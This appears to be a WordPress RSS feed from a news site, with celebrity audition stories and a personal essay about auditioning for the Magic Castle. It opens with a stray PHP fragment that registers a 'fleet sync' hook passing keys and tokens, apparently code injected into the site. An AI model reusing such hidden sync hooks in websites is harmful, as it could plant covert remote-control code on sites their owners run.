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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Auditioned – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 19 Oct 2018 10:51:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Auditioned – Brief News https://briefnews.eu 32 32 ‘Deadpool 2’ Star Zazie Beetz Auditioned to Play X-Men’s Storm, Dodged a Bullet By Not Getting the Part https://briefnews.eu/deadpool-2-star-zazie-beetz-auditioned-to-play-x-mens-storm-dodged-a-bullet-by-not-getting-the-part/ https://briefnews.eu/deadpool-2-star-zazie-beetz-auditioned-to-play-x-mens-storm-dodged-a-bullet-by-not-getting-the-part/#respond Fri, 19 Oct 2018 10:51:39 +0000 http://briefnews.eu/deadpool-2-star-zazie-beetz-auditioned-to-play-x-mens-storm-dodged-a-bullet-by-not-getting-the-part/ Zazie Beetz as Storm

Zazie Beetz, who stars in FX’s Atlanta and made a big impact in theaters earlier this year as the lucky superhero Domino in Deadpool 2, attended ACE Comic Con in Chicago this past weekend. During a Q&A session, the actress revealed that before she snagged the role of Domino, she auditioned to play Storm in X-Men: Apocalypse. Read Beetz’s full quote below.

At ACE Comic Con (via ComicBook), someone asked Beetz which Marvel character she would play if she had her choice, and she revealed that she previously tried out for the role of Ororo Munroe:

“I mean, when I was a kid, I remember, in terms of characters, people would always be like, ‘You should be Storm.’ I auditioned for young Storm, actually, and I didn’t get it…I don’t remember the actress’s name who played her, but she shaved her head, so I was like, ‘Oh, not me. Not right now.’ Growing up I always had an association with her. I mean, obviously, because being a young black woman, that was the one I associated with. But I think that would have been a little fantasy of mine to do that and sort of a nostalgic thing for me to try. So yeah, I’d say Storm.”

Alexandra Shipp ended up getting that part in 2016’s X-Men: Apocalypse, but like so many of the characters in that film, the role wasn’t entirely fleshed out and just felt like a missed opportunity for such an iconic character. Unfortunately, Storm has been one of those X-Men characters that never really got her due on the big screen; even Halle Berry didn’t have much to work with when she portrayed her in the first three X-Men films. Beetz definitely dodged a bullet with that one, and it all turned out fine for her: she was able to bring some real charisma and personality to Domino, whereas I don’t think the opportunity was there for her to do the same with Storm in Apocalypse (which, by the way, is easily one of the worst superhero movies of the past few years).

Storm and Domino aren’t the only comic book movie characters Beetz has her eye on. She was cast in a supporting role in Todd Phillips’ Joker, and from what we can tell, she’ll be playing a single mother who catches the interest of Joaquin Phoenix’s proto-version of the Clown Prince of Crime. Beetz couldn’t reveal much about that movie during her Comic Con appearance, but she did say “it’s a really good script,” so take from that what you will.

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The INSIDER Summary:

  • Nina Gold is the casting director for Netflix’s series “The Crown.”
  • Claire Foy was cast as the young Queen Elizabeth II.
  • Gold told INSIDER Foy auditioned “in the full regalia with tiara, long gloves, and gown and she was six months pregnant with a lovely, huge belly.”

Claire Foy plays the determined and poised Queen Elizabeth II on Netflix’s original series “The Crown.” Nina Gold, an award-winning member of the Casting Society of America, was part of the team who put together the cast of royal lookalikes. Gold told INSIDER how she knew Foy would be the right choice for Queen Elizabeth after a memorable audition.

“The audition process had a hilarious culmination with her coming to finally test,” Gold said. “After a few other auditions, [Foy] was in the full regalia with tiara, long gloves, and gown. And it’s worth noting that she was six months pregnant with a lovely, huge belly. But all of us completely ignored that bit.”

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Gold had been familiar with Foy’s work, and was thrilled to be able to cast her in “The Crown” as well as in an earlier project where Foy played another famed royal.

“I’ve always loved Claire Foy and watched her a lot since drama school,” Gold said. “I had tried to cast her several times but it had never been quite right. Then we cast her as Anne Boleyn in ‘Wolf Hall’ and she was absolutely brilliant.”

For Foy’s part, auditioning for “The Crown” while pregnant was a unique experience.

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“It was getting more and more ridiculous the more pregnant I got, going in for these auditions pretending to be the Queen of England,” Foy told W Magazine earlier this year. “It was just really surreal.”

Filming began for “The Crown” four months after Foy gave birth. “I had to wear a corset because I had quite a lot of baby weight in the beginning,” Foy told W Magazine. 

Foy will reprise her role as Queen Elizabeth II when season two of “The Crown” airs on Netflix on December 8, 2017. In the meantime, see how Foy and her fellow cast mates compare to the real life royals.

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]]> https://briefnews.eu/claire-foy-auditioned-for-the-crown-wearing-a-tiara-gloves-and-gown-while-she-was-6-months-pregnant/feed/ 0 Jennifer Lawrence auditioned for ‘Gossip Girl’ when she was a teenager https://briefnews.eu/jennifer-lawrence-auditioned-for-gossip-girl-when-she-was-a-teenager/ https://briefnews.eu/jennifer-lawrence-auditioned-for-gossip-girl-when-she-was-a-teenager/#respond Fri, 15 Sep 2017 17:56:04 +0000 http://briefnews.eu/jennifer-lawrence-auditioned-for-gossip-girl-when-she-was-a-teenager/ jennifer lawrenceEmma McIntyre/Stringer/Getty Images

The INSIDER Summary: 

  • Blake Lively played Serena van der Woodsen on “Gossip Girl.”
  • But it turns out a teenage Jennifer Lawrence auditioned for the role.
  • Josh Schwartz let this fun tidbit out during an interview with Vulture. 

 

“Gossip Girl” could have had a different “it” girl.

Josh Schwartz, creator of The CW’s hit teen drama, told Vulture that Jennifer Lawrence, 27, auditioned for the part of Serena van der Woodsen back in her teen years. 

“We did not realize this at the time, but Jennifer Lawrence really wanted to play Serena and auditioned,” he said. “This story came to us secondhand, but we were told she definitely auditioned and was bummed to not get it.”

Schwartz isn’t positive that he saw the audition tape. 

“We can’t remember if we saw it or not,” he said. “It was 10 years ago, and she would’ve been how old, 15?”   

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The role of the Upper East Side queen went to Blake Lively, but Lawrence is doing fine. The A-list actress is an Oscar winner and is currently starring in the horror movie “Mother!” 

“Gossip Girl’s” 10th anniversary is September 19. 

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Speaking on The Ellen Show yesterday, Billie Lourd – the late Carrie Fisher’s daughter – revealed that she first read for JJ Abrams ahead of The Force Awakens.

While she was not ultimately cast as Rey, she did land a smaller role – one that will be reprised in this year’s The Last Jedi.

“They did not want me to act, my dad and mom, because they were both in the industry,” she said.

“JJ Abrams called me to come in for Star Wars because he couldn’t find anyone for the lead – he ended up finding Daisy Ridley who’s an incredible actress, so talented.

“I went in and he ended up giving me a tiny role with a couple of lines and I was super excited.

“I didn’t know what was going to happen; I went along and fell in love with it. I was weirdly singing Jersey Boys on set; really comfortable.

“And I came home and my mom said, ‘it’s really weird that you feel comfortable here – this is one of the most uncomfortable environments in the world. If you’re comfortable here, you should do this… you should act.’”

Fisher, who died last December, will make her final on-screen appearance in The Last Jedi.

She was initially rumoured to be inserted into 2019’s Episode IX using CGI or recent archived footage, but LucasFilm confirmed that would not be the case.

She played Princess – then General – Leia in the original trilogy, as well as The Force Awakens.

Star Wars: Episode 8 is out on December 14 in the UK.

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Ever since I was a little kid, I was fascinated by magic and dreamed of visiting The Magic Castle. But I would never imagine as a kid that I’d have the opportunity to become a member or perform magic inside the prestigious palace of wizardry.

Here’s the story of what happened when I did a little more than imagine.

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As Far Back As I Can Remember, I Always Wanted To Be A Gangster Magician

I first saw the Magic Castle in an old television special that I watched with my father. As a child, I became fascinated with magic and quickly became interested in performing some magic myself. My father (pictured above) would bring me to Hank Lee’s Magic Shop in downtown Boston and I’d buy a new trick from the allowance money I had saved up. I never really wanted to become a professional magician, but magic is something that has followed me throughout my life. If you’re one of my close friends, then you’ve probably seen a bunch of my card tricks over the years. I’ve even written about my passion for magic and its relation to movies on /Film in the past, and even about amazingly artful magic shows and visiting David Copperfield’s secret magic museum.

When I moved to Los Angeles in 2010, I finally got my chance to visit The Magic Castle. For those of you who don’t know, The Magic Castle is a private club in Hollywood for Magicians and their invited guests, filled with magic shows, roaming magicians, enchanted areas and a nice restaurant. After first visiting the Castle, I vowed to find a way to become a member of this prestigious place. If you are a member, you can come anytime you want – no cover charges or expensive dinners. You get to invite people to experience the Castle. And you get access to the magician library, private lectures from touring magicians, the ability to perform magic in the common performance areas of the castle, and much more.

My internet searches about the audition process led me to forum posts which frightened me and kept me from trying. I’m not a professional magician, merely a hobbyist, and was afraid I might not have what it takes to make it pass the audition.

So for the last seven years, I visited the Castle. I was even able to bring my father to the castle a couple years back. Over the years I have become friends with Magician members, who would encourage me to join. I would swat it off as something I might do sometime in the future, putting it off at a safe distance. Because if it was at that safe distance, I didn’t need to worry about it.

But then I decided to go for it.

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A photo from my girlfriend Kitra right before my audition

My Magic Castle Audition

On Monday night, I finally had my audition to become a Magician Member of the Academy of Magical Arts at The Magic Castle, and it was just as nerve-wracking as I had expected. Even after practicing for weeks, I was nervous that I might mess something up. In the waiting room, I met up with the other five applicants for this month’s session, most of whom were just as nervous as I was. They were practicing their card flourishes and I was getting even more nervous because I was convinced they were all better than me and that I didn’t stand a chance.

After about a half hour, they began calling down the applying members one-by-one to be interviewed and perform for a committee of master magicians. The room is dark, the spotlights are bright, and you can cut the tension in the air with a knife. For my interview, they didn’t even ask me any questions. The silence was deafening so I just began talking. Telling them about how I discovered magic as a kid with my father. How he used to bring me to Hank Lee’s Magic shop in Boston. How I’d read Tarbell’s course in magic and watch Michael Ammar’s VHS tapes, trying to learn the classic tricks.

I was honest about my fears: I’m not a professional magician, I told them. I’m not used to performing for anyone I don’t know and am comfortable with. I rambled on and on. I’m sure two things were clear: I had a love of magic and had invested a lot of time into it over the decades and that I was being as honest as possible. When I stopped, no one said anything. I asked “Any questions?” And the answer was “No.”

That was my cue to begin my performance.

As part of the audition, Magician members are asked to prepare 10 minutes of magic. For someone who was used to doing tricks for friends and not performing an entire act, this was a challenge. Preparing patter for an audience you don’t know is a lot more complicated than simply showing someone you know a magic trick.

I decided to frame my act around the idea of me wanting to be a magician as a little kid, and my father not having the money to buy me magic props. It’s not true (my dad would’ve bought me magic props if I asked him), but the premise was based in a reality of me as a kid trying to make magic from everyday things.

I explained that I asked my father to buy me a set of big metal rings for a linking rings routine and that he instead brought me home a bag of rubber bands from his work. That he told me that I don’t need the most expensive props in the world to impress people, that the magic will create wonder in the most ordinary objects. While my Dad never said this to me, there is an underlying truth: this is something that I definitely believe and reflects my philosophy as a magician.

I took two rubber bands out of the bag and magically linked and unlinked them. I explained that as a kid I wanted to be a master escape artist like Harry Houdini. That when I asked my father to buy me handcuffs, he instead went to the desk drawer and delivered me the same bag of rubber bands. I demonstrated a famous trick called Crazy Man’s Handcuffs, which has been performed by every magician from Daryl to David Copperfield.

You take a rubber band between your thumb and pointer finger and trap another rubber band behind it with your other thumb and pointer finger. The bands magically melt through each other, allowing you to escape. I did it again in slow motion, and then a third time up close with one of the committee members holding one of the rubber bands. I then moved on to some card tricks, with the story following me through my magical journey through the years.

Five minutes into my routine, one of the members of the committee said: “I think we’ve seen enough.” He looked around to get approval from the rest of the group. But one guy seemed unsure, one lone holdout. “I have one that I think you’ll really like,” I told them. I performed one last card trick that I was sure would impress. I wouldn’t know if it did as there was no reaction, not to this, not to anything. But I was told that was enough and took that as a good sign.

I returned to the room upstairs with the other magicians to wait. I felt relieved. It was nerve-wracking, but I had done it. Even if I had not passed the audition, I already felt more confident in myself as a magician. The others told stories of their auditions, of the reactions they got from some of the members. I didn’t get a reaction at all. Oh, here comes the self-doubt again!

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Abracadabra, I Did It

Two of the others applicants were taken aside privately and presumably told why they were not chosen and possible what they could do to improve if they wanted to try again in the future. And then I joined the other three who had passed the audition for a brief orientation. I made it! I had passed the audition! I had conquered the thing I had feared for so many years!

Don’t get me wrong, I didn’t climb a mountain or save a person’s life — but for me it was a real achievement. I was proud of myself and while I’m not yet officially a member of the Academy of Magical Arts, I’m one step away. The board has to approve my name at the end of the month, which seems to be just a formality. I am so excited to be able to visit the Magic Castle anytime I want. I can’t wait to bring friends and show them the wonders of this historic venue. I’m also excited to check out the Magician-only magic library and lectures and be part of a community of magicians, as nerdy as that sounds.

After the orientation, I went upstairs to catch a performance from Michael Ammar, the same magician who I learned from as a kid on VHS tapes. I had never seen him perform live, and this was his first time back at the Castle in 6 years. I waited in line with one of the guys who didn’t pass his audition, and we chatted and shared interesting little tricks we could do with cards or coins. Next to me in line was Mac King, a Vegas comedy magician who I had seen three or four times at this point. I somehow remember him being on that Magic Castle TV special that I watched as a kid, although the youtube video of that airing seems to prove my memory incorrect.

Finally seeing Ammar perform live was amazing. And to put the cherry on top of the ice cream sundae, one of the last tricks he did was Crazy Man’s Handcuffs — the same trick that I had performed in my audition, which I learned as a kid from Ammar’s photocopied booklet that I purchased at a magic shop. The night had come full circle.

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A Photo of Peter after the audition

The Failure In Not Trying

As happy as this experience has made me, I’m very regretful of not trying out for the Magic Castle earlier. I feel embarrassed and dumb. It really sucks that I let fear own my decisions. If I hadn’t, who knows? I may have had seven years of fun in the Castle as a member at this point. Who knows what I missed in that time.

I’m not a motivational speech kinda guy, but I hope anyone reading this takes something away from this experience. Sure, you might not be into magic or have interest in joining The Magic Castle. But I’m sure you have things in your life that you have pushed off or away because of your fears and anxieties. Maybe there is a woman (or man) you want to ask out, but are afraid to make a move. Maybe you have always wanted to try taking an improv comedy class, but didn’t want to deal with the possible failure in front of a crowd. Maybe it’s something much simpler. Whatever the case, don’t let your fears get the best of your possible happiness. Don’t be in regret years later. Go, do it.

And that’s not to say you should be impulsive and irresponsible. You should put in the time and effort. I practiced for weeks for this audition and in the end, I feel I earned my place. Put in your best attempt. Even if you don’t succeed, you’ll be happier for having attempted it than not. Believe me.

I want to thank David Kwong for sponsoring me and writing me a letter of recommendation, Andrew Mayne for making me a little less nervous, and Jon Armstrong for inviting me to the castle and giving advice on how to make my magic better for the audition (which helped considerably). I’m lucky to have the assistance and support of these great guys.

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What ridiculous reason was given for David Harbour not getting the role of The Blob in X-Men Origins: Wolverine? What was Tom Holland‘s favorite stunt he did on Spider-Man: Homecoming? Is Wonder Woman in 4DX worth your money? Is there a new mutant character coming to Deadpool 2?  All that and more in this edition of Superhero Bits.

Mr. Sunday Movies runs through the easter eggs and comic references you might have missed in Wonder Woman.

Letitia Wright talks about her role as T’Challa‘s sister Shuri in Black Panther, describing some character details.

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In a new interview with, well, Interview magazine, Tom Holland says he would like to play James Bond or Batman.

Wonder Woman producer Zack Snyder says there was a time when they considered leaving Steve Trevor out.

Stan Lee appears in the promo for Disney Cruise Line’s new Marvel Day at Sea experience that sets off from NYC.

The CW announced the fall premiere dates for Supergirl, Arrow, The Flash and DC’s Legends of Tomorrow.

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